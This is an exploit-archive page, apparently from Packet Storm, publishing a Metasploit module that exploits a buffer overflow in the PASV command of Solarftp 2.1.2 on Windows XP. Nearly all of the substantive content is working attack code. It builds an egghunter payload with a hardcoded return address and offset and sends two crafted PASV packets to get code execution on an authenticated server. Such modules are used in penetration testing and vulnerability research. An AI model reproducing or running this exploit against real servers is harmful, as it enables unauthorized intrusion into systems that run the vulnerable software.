what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Solarftp 2.1.2 PASV Command Buffer Overflow

Solarftp 2.1.2 PASV Command Buffer Overflow
Posted Aug 19, 2011
Authored by Qnix | Site metasploit.com

This Metasploit module exploits a buffer overflow in the PASV command in Solarftp 2.1.2. You must have valid credentials to trigger this vulnerability and you only get one chance.

tags | exploit, overflow
SHA-256 | 48e6ec02c83b7e289337c4907fdee6bb90e7e963aee8b24c4e38c9dae8549b16

Solarftp 2.1.2 PASV Command Buffer Overflow

Change Mirror Download
# Exploit Title: Solarftp v2.1.2 PASV buffer overflow
# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
You must have valid credentials to trigger this vulnerability. Also, you
ony get one chance.
},
'Author' => 'qnix',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://0x80.org/blog/?p=545'],
],
'DefaultOptions' =>
{
'WfsDelay' => 45,
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#1001BD23 . FFE0 JMP EAX @sfsweb.dll
[ 'Windows XP Universal', { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
],
'DisclosureDate' => 'Aug 17 2011',
'DefaultTarget' => 0))
end


def exploit
connect_login
print_status("Trying target #{target.name}")

print_status("Creating Egg Hunter")
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)

fix = "\x11" # To fix some left overs from uncontrolled buffer
# to avoid access violation.
pk1 = make_nops(75)
pk1 << fix
pk1 << make_nops(20)
pk1 << hunter
pk1 << make_nops((100-fix.length-hunter.length))
pk1 << [target.ret].pack('V')
pk1 << egg
pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
print_status("Sending first packet...")
send_cmd( ["PASV",pk1], false)

pk2 = make_nops(3000)
print_status("Sending second packet...")
send_cmd( ["PASV",pk2], false)

handler
disconnect
end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close